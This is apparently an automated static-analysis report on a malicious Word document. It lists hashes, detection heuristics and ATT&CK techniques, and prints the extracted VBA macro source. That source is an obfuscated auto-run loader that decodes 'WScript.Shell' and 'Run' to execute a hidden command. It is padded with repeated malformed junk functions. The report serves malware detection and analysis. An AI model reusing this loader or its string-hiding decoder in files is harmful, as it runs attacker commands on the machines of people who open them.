Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6e1d09fdb604bd09…

MALICIOUS

Office (OLE)

36.5 KB Created: 2018-06-21 20:30:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 328a44ccda2348796260dd19f1ce5c57 SHA-1: 76df5fc4567b19595a8543f95777f1f3785a11ef SHA-256: 6e1d09fdb604bd099129f196065c7516961bf2ff86450b185177c96d842ed9a6
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains heavily obfuscated VBA macros, including an auto-exec loader that uses CreateObject and CallByName. The script attempts to execute a command using MJF_("BAB6C6D5CCD3D791B6CBC8CFCF"), which likely decodes to a command to download and execute a second-stage payload. The presence of 'macros.bas' and the ClamAV detection name 'Xls.Malware.Valyria-6700360-0' further indicate malicious intent.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700360-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700360-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3020 bytes
SHA-256: 3488b0bc81106b2281c481a20570ce452f07ba93db802d10e608aea2795ec777
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function ECJIANJYJ() As String
D aECJIANJYJ As String
aECJIANJYJ = "B999D6689999BA9971999F99BB6A99CA999899CD999999998199687999869999879C8F99C2A1AD99999C9999B6D7995E99C3C7999999BA709999999A99995A99997999A162999999999999D999756999A58999D799D2"
Dim myECJIANJYJ = aECJIANJYJ
DimDimMsgBox ((aECJIANJYJ & myECJIANJYJ, 28))
End Function

Public Sub AS_()
    Dim CJ_ As Object: Set CJ_ = CreateObject(MJF_("BAB6C6D5CCD3D791B6CBC8CFCF"))
    CallByName CJ_, MJF_("B5D8D1"), VbMethod, MJF_(ActiveDocument.Variables("JGDMD").Value), 0, True
End Sub
Private Function QTFVFRWNJ() As String
D aQTFVFRWNJ As String
aQTFVFRWNJ = "B999D6689999BA9971999F99BB6A99CA999899CD999999998199687999869999879C8F99C2A1AD99999C9999B6D7995E99C3C7999999BA709999999A99995A99997999A162999999999999D999756999A58999D799D2"
Dim myQTFVFRWNJ = aQTFVFRWNJ
DimDimMsgBox ((aQTFVFRWNJ & myQTFVFRWNJ, 28))
End Function

Sub EEVHNV_()
    AS_
End Sub
Private Function GPKOAKWKX() As String
D aGPKOAKWKX As String
aGPKOAKWKX = "B999D6689999BA9971999F99BB6A99CA999899CD999999998199687999869999879C8F99C2A1AD99999C9999B6D7995E99C3C7999999BA709999999A99995A99997999A162999999999999D999756999A58999D799D2"
Dim myGPKOAKWKX = aGPKOAKWKX
DimDimMsgBox ((aGPKOAKWKX & myGPKOAKWKX, 28))
End Function

Public Sub Document_Open()
    Application.Run MJF_("A8A8B9ABB1B9C2")
End Sub
Private Function NEPAZLBJW() As String
D aNEPAZLBJW As String
aNEPAZLBJW = "B999D6689999BA9971999F99BB6A99CA999899CD999999998199687999869999879C8F99C2A1AD99999C9999B6D7995E99C3C7999999BA709999999A99995A99997999A162999999999999D999756999A58999D799D2"
Dim myNEPAZLBJW = aNEPAZLBJW
DimDimMsgBox ((aNEPAZLBJW & myNEPAZLBJW, 28))
End Function

Sub Workbook_Open()
    EEVHNV_
End Sub
Private Function DHYBKPGNP() As String
D aDHYBKPGNP As String
aDHYBKPGNP = "B999D6689999BA9971999F99BB6A99CA999899CD999999998199687999869999879C8F99C2A1AD99999C9999B6D7995E99C3C7999999BA709999999A99995A99997999A162999999999999D999756999A58999D799D2"
Dim myDHYBKPGNP = aDHYBKPGNP
DimDimMsgBox ((aDHYBKPGNP & myDHYBKPGNP, 28))
End Function

Public Function MJF_(ByVal CJ_ As String)
   Dim NKP_ As String
   Dim S_ As Long
   For S_ = 1 To Len(CJ_) Step 2
        Dim KTW_ As Long: KTW_ = CLng(Chr(38) & Chr(72) & Mid(CJ_, S_, 2))
        NKP_ = NKP_ & Chr(KTW_ - 99)
   Next
   MJF_ = NKP_
End Function
Private Function NEUEPFIHV() As String
D aNEUEPFIHV As String
aNEUEPFIHV = "B999D6689999BA9971999F99BB6A99CA999899CD999999998199687999869999879C8F99C2A1AD99999C9999B6D7995E99C3C7999999BA709999999A99995A99997999A162999999999999D999756999A58999D799D2"
Dim myNEUEPFIHV = aNEUEPFIHV
DimDimMsgBox ((aNEUEPFIHV & myNEUEPFIHV, 28))
End Function

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